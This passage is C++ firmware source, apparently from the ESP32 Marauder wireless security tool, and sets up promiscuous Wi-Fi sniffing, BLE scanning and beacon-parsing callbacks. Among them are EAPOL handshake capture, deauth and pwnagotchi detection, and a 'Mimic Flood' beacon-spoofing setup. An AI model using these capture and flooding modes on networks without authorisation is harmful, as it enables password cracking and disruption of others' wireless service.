  614. display_obj.tft.println(text_table4[24]);
  615. #endif
  616. }
  617. #ifdef HAS_SCREEN
  618. display_obj.tft.println(text_table4[25] + sta_mac);
  619. display_obj.tft.println(text_table4[26] + ap_mac);
  620. display_obj.tft.println(text_table4[27] + free_ram);
  621. #endif
  622. if (sd_obj.supported) {
  623. #ifdef HAS_SCREEN
  624. display_obj.tft.println(text_table4[28]);
  625. display_obj.tft.print(text_table4[29]);
  626. display_obj.tft.print(sd_obj.card_sz);
  627. display_obj.tft.println("MB");
  628. #endif
  629. }
  630. else {
  631. #ifdef HAS_SCREEN
  632. display_obj.tft.println(text_table4[30]);
  633. display_obj.tft.println(text_table4[31]);
  634. #endif
  635. }
  636. battery_obj.battery_level = battery_obj.getBatteryLevel();
  637. if (battery_obj.i2c_supported) {
  638. #ifdef HAS_SCREEN
  639. display_obj.tft.println(text_table4[32]);
  640. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  641. #endif
  642. }
  643. else {
  644. #ifdef HAS_SCREEN
  645. display_obj.tft.println(text_table4[34]);
  646. #endif
  647. }
  648. #ifdef HAS_SCREEN
  649. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  650. #endif
  651. }
  652. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  653. sd_obj.openCapture("espressif");
  654. #ifdef MARAUDER_FLIPPER
  655. flipper_led.sniffLED();
  656. #endif
  657. #ifdef HAS_SCREEN
  658. display_obj.TOP_FIXED_AREA_2 = 48;
  659. display_obj.tteBar = true;
  660. display_obj.print_delay_1 = 15;
  661. display_obj.print_delay_2 = 10;
  662. display_obj.initScrollValues(true);
  663. display_obj.tft.setTextWrap(false);
  664. display_obj.tft.setTextColor(TFT_WHITE, color);
  665. display_obj.tft.fillRect(0,16,240,16, color);
  666. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  667. display_obj.touchToExit();
  668. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  669. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  670. #endif
  671. esp_wifi_init(&cfg);
  672. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  673. esp_wifi_set_mode(WIFI_MODE_NULL);
  674. esp_wifi_start();
  675. esp_wifi_set_promiscuous(true);
  676. esp_wifi_set_promiscuous_filter(&filt);
  677. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  678. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  679. this->wifi_initialized = true;
  680. initTime = millis();
  681. }
  682. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  683. {
  684. #ifdef MARAUDER_FLIPPER
  685. flipper_led.sniffLED();
  686. #endif
  687. #ifdef HAS_SCREEN
  688. display_obj.tft.init();
  689. display_obj.tft.setRotation(1);
  690. display_obj.tft.fillScreen(TFT_BLACK);
  691. #endif
  692. sd_obj.openCapture("packet_monitor");
  693. #ifdef HAS_SCREEN
  694. #ifdef TFT_SHIELD
  695. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  696. Serial.println("Using TFT Shield");
  697. #else if defined(TFT_DIY)
  698. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  699. Serial.println("Using TFT DIY");
  700. #endif
  701. display_obj.tft.setTouch(calData);
  702. //display_obj.tft.setFreeFont(1);
  703. display_obj.tft.setFreeFont(NULL);
  704. display_obj.tft.setTextSize(1);
  705. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  706. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  707. delay(10);
  708. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  709. display_obj.tftDrawColorKey();
  710. display_obj.tftDrawXScaleButtons(x_scale);
  711. display_obj.tftDrawYScaleButtons(y_scale);
  712. display_obj.tftDrawChannelScaleButtons(set_channel);
  713. display_obj.tftDrawExitScaleButtons();
  714. #endif
  715. Serial.println("Running packet scan...");
  716. esp_wifi_init(&cfg);
  717. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  718. esp_wifi_set_mode(WIFI_MODE_NULL);
  719. esp_wifi_start();
  720. esp_wifi_set_promiscuous(true);
  721. esp_wifi_set_promiscuous_filter(&filt);
  722. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  723. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  724. this->wifi_initialized = true;
  725. uint32_t initTime = millis();
  726. }
  727. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  728. {
  729. #ifdef MARAUDER_FLIPPER
  730. flipper_led.sniffLED();
  731. #endif
  732. num_eapol = 0;
  733. #ifdef HAS_SCREEN
  734. display_obj.tft.init();
  735. display_obj.tft.setRotation(1);
  736. display_obj.tft.fillScreen(TFT_BLACK);
  737. #endif
  738. sd_obj.openCapture("eapol");
  739. #ifdef HAS_SCREEN
  740. #ifdef TFT_SHIELD
  741. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  742. //Serial.println("Using TFT Shield");
  743. #else if defined(TFT_DIY)
  744. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  745. //Serial.println("Using TFT DIY");
  746. #endif
  747. display_obj.tft.setTouch(calData);
  748. display_obj.tft.setFreeFont(NULL);
  749. display_obj.tft.setTextSize(1);
  750. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  751. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  752. delay(10);
  753. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  754. display_obj.tftDrawEapolColorKey();
  755. display_obj.tftDrawChannelScaleButtons(set_channel);
  756. display_obj.tftDrawExitScaleButtons();
  757. #endif
  758. wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
  759. esp_wifi_init(&cfg);
  760. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  761. //esp_wifi_set_mode(WIFI_MODE_NULL);
  762. esp_wifi_set_mode(WIFI_AP_STA);
  763. esp_wifi_start();
  764. esp_wifi_set_promiscuous(true);
  765. esp_wifi_set_promiscuous_filter(&filt);
  766. if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  767. esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
  768. else
  769. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  770. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  771. this->wifi_initialized = true;
  772. initTime = millis();
  773. }
  774. // Function to prepare for beacon mimic
  775. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  776. #ifdef HAS_SCREEN
  777. display_obj.TOP_FIXED_AREA_2 = 48;
  778. display_obj.tteBar = true;
  779. display_obj.print_delay_1 = 15;
  780. display_obj.print_delay_2 = 10;
  781. display_obj.initScrollValues(true);
  782. display_obj.tft.setTextWrap(false);
  783. display_obj.tft.setTextColor(TFT_BLACK, color);
  784. display_obj.tft.fillRect(0,16,240,16, color);
  785. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  786. display_obj.touchToExit();
  787. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  788. #endif
  789. packets_sent = 0;
  790. esp_wifi_init(&cfg);
  791. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  792. esp_wifi_set_mode(WIFI_AP_STA);
  793. esp_wifi_start();
  794. esp_wifi_set_promiscuous_filter(NULL);
  795. esp_wifi_set_promiscuous(true);
  796. esp_wifi_set_max_tx_power(78);
  797. this->wifi_initialized = true;
  798. initTime = millis();
  799. }
  800. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  801. {
  802. sd_obj.openCapture("pwnagotchi");
  803. #ifdef MARAUDER_FLIPPER
  804. flipper_led.sniffLED();
  805. #endif
  806. #ifdef HAS_SCREEN
  807. display_obj.TOP_FIXED_AREA_2 = 48;
  808. display_obj.tteBar = true;
  809. display_obj.print_delay_1 = 15;
  810. display_obj.print_delay_2 = 10;
  811. display_obj.initScrollValues(true);
  812. display_obj.tft.setTextWrap(false);
  813. display_obj.tft.setTextColor(TFT_WHITE, color);
  814. display_obj.tft.fillRect(0,16,240,16, color);
  815. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  816. display_obj.touchToExit();
  817. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  818. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  819. #endif
  820. esp_wifi_init(&cfg);
  821. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  822. esp_wifi_set_mode(WIFI_MODE_NULL);
  823. esp_wifi_start();
  824. esp_wifi_set_promiscuous(true);
  825. esp_wifi_set_promiscuous_filter(&filt);
  826. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  827. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  828. this->wifi_initialized = true;
  829. initTime = millis();
  830. }
  831. // Function to start running a beacon scan
  832. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  833. {
  834. sd_obj.openCapture("beacon");
  835. #ifdef MARAUDER_FLIPPER
  836. flipper_led.sniffLED();
  837. #endif
  838. #ifdef HAS_SCREEN
  839. display_obj.TOP_FIXED_AREA_2 = 48;
  840. display_obj.tteBar = true;
  841. display_obj.print_delay_1 = 15;
  842. display_obj.print_delay_2 = 10;
  843. display_obj.initScrollValues(true);
  844. display_obj.tft.setTextWrap(false);
  845. display_obj.tft.setTextColor(TFT_WHITE, color);
  846. display_obj.tft.fillRect(0,16,240,16, color);
  847. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  848. display_obj.touchToExit();
  849. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  850. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  851. #endif
  852. esp_wifi_init(&cfg);
  853. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  854. esp_wifi_set_mode(WIFI_MODE_NULL);
  855. esp_wifi_start();
  856. esp_wifi_set_promiscuous(true);
  857. esp_wifi_set_promiscuous_filter(&filt);
  858. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  859. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  860. this->wifi_initialized = true;
  861. initTime = millis();
  862. }
  863. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  864. {
  865. sd_obj.openCapture("deauth");
  866. #ifdef MARAUDER_FLIPPER
  867. flipper_led.sniffLED();
  868. #endif
  869. #ifdef HAS_SCREEN
  870. display_obj.TOP_FIXED_AREA_2 = 48;
  871. display_obj.tteBar = true;
  872. display_obj.print_delay_1 = 15;
  873. display_obj.print_delay_2 = 10;
  874. display_obj.initScrollValues(true);
  875. display_obj.tft.setTextWrap(false);
  876. display_obj.tft.setTextColor(TFT_BLACK, color);
  877. display_obj.tft.fillRect(0,16,240,16, color);
  878. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  879. display_obj.touchToExit();
  880. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  881. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  882. #endif
  883. esp_wifi_init(&cfg);
  884. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  885. esp_wifi_set_mode(WIFI_MODE_NULL);
  886. esp_wifi_start();
  887. esp_wifi_set_promiscuous(true);
  888. esp_wifi_set_promiscuous_filter(&filt);
  889. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  890. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  891. this->wifi_initialized = true;
  892. initTime = millis();
  893. }
  894. // Function for running probe request scan
  895. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  896. {
  897. sd_obj.openCapture("probe");
  898. #ifdef MARAUDER_FLIPPER
  899. flipper_led.sniffLED();
  900. #endif
  901. #ifdef HAS_SCREEN
  902. display_obj.TOP_FIXED_AREA_2 = 48;
  903. display_obj.tteBar = true;
  904. display_obj.print_delay_1 = 15;
  905. display_obj.print_delay_2 = 10;
  906. display_obj.initScrollValues(true);
  907. display_obj.tft.setTextWrap(false);
  908. display_obj.tft.setTextColor(TFT_BLACK, color);
  909. display_obj.tft.fillRect(0,16,240,16, color);
  910. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  911. display_obj.touchToExit();
  912. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  913. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  914. #endif
  915. esp_wifi_init(&cfg);
  916. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  917. esp_wifi_set_mode(WIFI_MODE_NULL);
  918. esp_wifi_start();
  919. esp_wifi_set_promiscuous(true);
  920. esp_wifi_set_promiscuous_filter(&filt);
  921. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  922. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  923. this->wifi_initialized = true;
  924. initTime = millis();
  925. }
  926. // Function to start running any BLE scan
  927. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  928. {
  929. #ifdef HAS_BT
  930. #ifdef HAS_SCREEN
  931. display_obj.print_delay_1 = 50;
  932. display_obj.print_delay_2 = 20;
  933. #endif
  934. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  935. NimBLEDevice::setScanDuplicateCacheSize(200);
  936. NimBLEDevice::init("");
  937. pBLEScan = NimBLEDevice::getScan(); //create new scan
  938. if (scan_mode == BT_SCAN_ALL)
  939. {
  940. #ifdef HAS_SCREEN
  941. display_obj.TOP_FIXED_AREA_2 = 48;
  942. display_obj.tteBar = true;
  943. display_obj.initScrollValues(true);
  944. display_obj.tft.setTextWrap(false);
  945. display_obj.tft.setTextColor(TFT_BLACK, color);
  946. display_obj.tft.fillRect(0,16,240,16, color);
  947. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  948. display_obj.touchToExit();
  949. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  950. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  951. #endif
  952. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  953. }
  954. else if (scan_mode == BT_SCAN_SKIMMERS)
  955. {
  956. #ifdef HAS_SCREEN
  957. display_obj.TOP_FIXED_AREA_2 = 160;
  958. display_obj.tteBar = true;
  959. display_obj.tft.fillScreen(TFT_DARKGREY);
  960. display_obj.initScrollValues(true);
  961. display_obj.tft.setTextWrap(false);
  962. display_obj.tft.setTextColor(TFT_BLACK, color);
  963. display_obj.tft.fillRect(0,16,240,16, color);
  964. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  965. display_obj.twoPartDisplay(text_table4[43]);
  966. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  967. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  968. #endif
  969. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  970. }
  971. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  972. pBLEScan->setInterval(97);
  973. pBLEScan->setWindow(37); // less or equal setInterval value
  974. pBLEScan->setMaxResults(0);
  975. pBLEScan->start(0, scanCompleteCB, false);
  976. Serial.println("Started BLE Scan");
  977. this->ble_initialized = true;
  978. initTime = millis();
  979. #endif
  980. }
  981. // Function that is called when BLE scan is completed
  982. #ifdef HAS_BT
  983. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  984. printf("Scan complete!\n");
  985. printf("Found %d devices\n", scanResults.getCount());
  986. scanResults.dump();
  987. } // scanCompleteCB
  988. #endif
  989. // Function to extract MAC addr from a packet at given offset
  990. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  991. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  992. }
  993. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  994. {
  995. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  996. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  997. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  998. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  999. int len = snifferPacket->rx_ctrl.sig_len;
  1000. String display_string = "";
  1001. String src_addr_string = "";
  1002. if (type == WIFI_PKT_MGMT)
  1003. {
  1004. len -= 4;
  1005. }
  1006. int fctl = ntohs(frameControl->fctl);
  1007. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1008. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1009. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1010. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  1011. //{
  1012. char addr[] = "00:00:00:00:00:00";
  1013. getMAC(addr, snifferPacket->payload, 10);
  1014. src_addr_string.concat(addr);
  1015. bool match = false;
  1016. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  1017. if (src_addr_string.startsWith(espressif_macs[i])) {
  1018. match = true;
  1019. break;
  1020. }
  1021. }
  1022. if (!match)
  1023. return;
  1024. delay(random(0, 10));
  1025. Serial.print("RSSI: ");
  1026. Serial.print(snifferPacket->rx_ctrl.rssi);
  1027. Serial.print(" Ch: ");
  1028. Serial.print(snifferPacket->rx_ctrl.channel);
  1029. Serial.print(" BSSID: ");
  1030. Serial.print(addr);
  1031. //display_string.concat(" RSSI: ");
  1032. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  1033. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1034. //display_string.concat(" ");
  1035. display_string.concat(" -> ");
  1036. display_string.concat(addr);
  1037. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1038. {
  1039. display_string.concat(" ");
  1040. }
  1041. Serial.print(" ");
  1042. #ifdef HAS_SCREEN
  1043. display_obj.loading = true;
  1044. display_obj.display_buffer->add(display_string);
  1045. display_obj.loading = false;
  1046. #endif
  1047. Serial.println();
  1048. if (save_packet)
  1049. sd_obj.addPacket(snifferPacket->payload, len);
  1050. //}
  1051. }
  1052. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1053. {
  1054. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1055. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1056. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1057. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1058. int len = snifferPacket->rx_ctrl.sig_len;
  1059. String display_string = "";
  1060. String src = "";
  1061. String essid = "";
  1062. if (type == WIFI_PKT_MGMT)
  1063. {
  1064. len -= 4;
  1065. int fctl = ntohs(frameControl->fctl);
  1066. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1067. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1068. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1069. #ifdef HAS_SCREEN
  1070. int buf = display_obj.display_buffer->size();
  1071. #else
  1072. int buf = 0;
  1073. #endif
  1074. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1075. {
  1076. char addr[] = "00:00:00:00:00:00";
  1077. getMAC(addr, snifferPacket->payload, 10);
  1078. src.concat(addr);
  1079. if (src == "de:ad:be:ef:de:ad") {
  1080. delay(random(0, 10));
  1081. Serial.print("RSSI: ");
  1082. Serial.print(snifferPacket->rx_ctrl.rssi);
  1083. Serial.print(" Ch: ");
  1084. Serial.print(snifferPacket->rx_ctrl.channel);
  1085. Serial.print(" BSSID: ");
  1086. Serial.print(addr);
  1087. //display_string.concat(addr);
  1088. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1089. Serial.print(" ESSID: ");
  1090. display_string.concat(" -> ");
  1091. // Just grab the first 255 bytes of the pwnagotchi beacon
  1092. // because that is where the name is
  1093. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1094. for (int i = 0; i < len - 37; i++)
  1095. {
  1096. Serial.print((char)snifferPacket->payload[i + 38]);
  1097. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1098. if (isAscii(snifferPacket->payload[i + 38]))
  1099. essid.concat((char)snifferPacket->payload[i + 38]);
  1100. else
  1101. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1102. }
  1103. //essid.concat("\": \"\"}}");
  1104. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1105. // Load json
  1106. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1107. DynamicJsonDocument json(1024); // ArduinoJson v6
  1108. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1109. // ArduinoJson v6
  1110. if (deserializeJson(json, essid)) {
  1111. Serial.println("\nCould not parse Pwnagotchi json");
  1112. display_string.concat(essid);
  1113. }
  1114. else {
  1115. Serial.println("\nSuccessfully parsed json");
  1116. String json_output;
  1117. //json.printTo(json_output); // ArduinoJson v5
  1118. serializeJson(json, json_output); // ArduinoJson v6
  1119. Serial.println(json_output);
  1120. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1121. }
  1122. int temp_len = display_string.length();
  1123. for (int i = 0; i < 40 - temp_len; i++)
  1124. {
  1125. display_string.concat(" ");
  1126. }
  1127. Serial.print(" ");
  1128. #ifdef HAS_SCREEN
  1129. if (display_obj.display_buffer->size() == 0)
  1130. {
  1131. display_obj.loading = true;
  1132. display_obj.display_buffer->add(display_string);
  1133. display_obj.loading = false;
  1134. }
  1135. #endif
  1136. Serial.println();
  1137. if (save_packet)
  1138. sd_obj.addPacket(snifferPacket->payload, len);
  1139. }
  1140. }
  1141. }
  1142. }
  1143. void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
  1144. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1145. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1146. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1147. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1148. int len = snifferPacket->rx_ctrl.sig_len;
  1149. String display_string = "";
  1150. String essid = "";
  1151. String bssid = "";
  1152. if (type == WIFI_PKT_MGMT)
  1153. {
  1154. len -= 4;
  1155. int fctl = ntohs(frameControl->fctl);
  1156. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1157. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1158. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1159. #ifdef HAS_SCREEN
  1160. int buf = display_obj.display_buffer->size();
  1161. #else
  1162. int buf = 0;
  1163. #endif
  1164. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1165. {
  1166. char addr[] = "00:00:00:00:00:00";
  1167. getMAC(addr, snifferPacket->payload, 10);
  1168. bool in_list = false;
  1169. bool mac_match = true;
  1170. for (int i = 0; i < access_points->size(); i++) {
  1171. mac_match = true;
  1172. //Serial.print("Checking ");
  1173. //Serial.print(addr);
  1174. //Serial.println(" against " + (String)access_points->get(i).essid);
  1175. for (int x = 0; x < 6; x++) {
  1176. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1177. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1178. mac_match = false;
  1179. //Serial.println("MACs do not match");
  1180. break;
  1181. }
  1182. }
  1183. if (mac_match) {
  1184. in_list = true;
  1185. break;
  1186. }
  1187. }
  1188. if (!in_list) {
  1189. delay(random(0, 10));
  1190. Serial.print("RSSI: ");
  1191. Serial.print(snifferPacket->rx_ctrl.rssi);
  1192. Serial.print(" Ch: ");
  1193. Serial.print(snifferPacket->rx_ctrl.channel);
  1194. Serial.print(" BSSID: ");
  1195. Serial.print(addr);
  1196. display_string.concat(addr);
  1197. Serial.print(" ESSID: ");
  1198. display_string.concat(" -> ");
  1199. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1200. {
  1201. Serial.print((char)snifferPacket->payload[i + 38]);
  1202. display_string.concat((char)snifferPacket->payload[i + 38]);
  1203. essid.concat((char)snifferPacket->payload[i + 38]);
  1204. }
  1205. bssid.concat(addr);
  1206. int temp_len = display_string.length();
  1207. for (int i = 0; i < 40 - temp_len; i++)
  1208. {
  1209. display_string.concat(" ");
  1210. }
  1211. Serial.print(" ");
  1212. #ifdef HAS_SCREEN
  1213. if (display_obj.display_buffer->size() == 0)
  1214. {
  1215. display_obj.loading = true;
  1216. display_obj.display_buffer->add(display_string);
  1217. display_obj.loading = false;
  1218. }
  1219. #endif
  1220. if (essid == "") {
  1221. essid = bssid;
  1222. Serial.print(essid + " ");
  1223. }
  1224. //LinkedList<char> beacon = new LinkedList<char>();
  1225. /*AccessPoint ap = {essid,
  1226. snifferPacket->rx_ctrl.channel,
  1227. {snifferPacket->payload[10],
  1228. snifferPacket->payload[11],
  1229. snifferPacket->payload[12],
  1230. snifferPacket->payload[13],
  1231. snifferPacket->payload[14],
  1232. snifferPacket->payload[15]},
  1233. false,
  1234. NULL};*/
  1235. AccessPoint ap;
  1236. ap.essid = essid;
  1237. ap.channel = snifferPacket->rx_ctrl.channel;
  1238. ap.bssid[0] = snifferPacket->payload[10];
  1239. ap.bssid[1] = snifferPacket->payload[11];
  1240. ap.bssid[2] = snifferPacket->payload[12];
  1241. ap.bssid[3] = snifferPacket->payload[13];
  1242. ap.bssid[4] = snifferPacket->payload[14];
  1243. ap.bssid[5] = snifferPacket->payload[15];
  1244. ap.selected = false;
  1245. ap.beacon = new LinkedList<char>();
  1246. //for (int i = 0; i < len; i++) {
  1247. // ap.beacon->add(snifferPacket->payload[i]);
  1248. //}
  1249. ap.beacon->add(snifferPacket->payload[34]);
  1250. ap.beacon->add(snifferPacket->payload[35]);
  1251. Serial.print("\nBeacon: ");
  1252. for (int i = 0; i < ap.beacon->size(); i++) {
  1253. char hexCar[4];
  1254. sprintf(hexCar, "%02X", ap.beacon->get(i));
  1255. Serial.print(hexCar);
  1256. if ((i + 1) % 16 == 0)
  1257. Serial.print("\n");
  1258. else
  1259. Serial.print(" ");
  1260. }
  1261. access_points->add(ap);
  1262. Serial.print(access_points->size());
  1263. Serial.println();
  1264. if (save_packet)
  1265. sd_obj.addPacket(snifferPacket->payload, len);
  1266. }
  1267. }
  1268. }
  1269. }
  1270. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1271. {
  1272. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1273. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1274. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1275. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1276. int len = snifferPacket->rx_ctrl.sig_len;
  1277. String display_string = "";
  1278. String essid = "";
  1279. String bssid = "";
  1280. if (type == WIFI_PKT_MGMT)
  1281. {
  1282. len -= 4;
  1283. int fctl = ntohs(frameControl->fctl);
  1284. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1285. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1286. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1287. #ifdef HAS_SCREEN
  1288. int buf = display_obj.display_buffer->size();
  1289. #else
  1290. int buf = 0;
  1291. #endif
  1292. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1293. {
  1294. char addr[] = "00:00:00:00:00:00";
  1295. getMAC(addr, snifferPacket->payload, 10);
  1296. bool in_list = false;
  1297. bool mac_match = true;
  1298. for (int i = 0; i < access_points->size(); i++) {
  1299. mac_match = true;
  1300. //Serial.print("Checking ");
  1301. //Serial.print(addr);
  1302. //Serial.println(" against " + (String)access_points->get(i).essid);
  1303. for (int x = 0; x < 6; x++) {
  1304. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1305. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1306. mac_match = false;
  1307. //Serial.println("MACs do not match");
  1308. break;
  1309. }
  1310. }
  1311. if (mac_match) {
  1312. in_list = true;
  1313. break;
  1314. }
  1315. }
  1316. if (!in_list) {
  1317. delay(random(0, 10));
  1318. Serial.print("RSSI: ");
  1319. Serial.print(snifferPacket->rx_ctrl.rssi);
  1320. Serial.print(" Ch: ");
  1321. Serial.print(snifferPacket->rx_ctrl.channel);
  1322. Serial.print(" BSSID: ");
  1323. Serial.print(addr);
  1324. display_string.concat(addr);
  1325. Serial.print(" ESSID: ");
  1326. display_string.concat(" -> ");
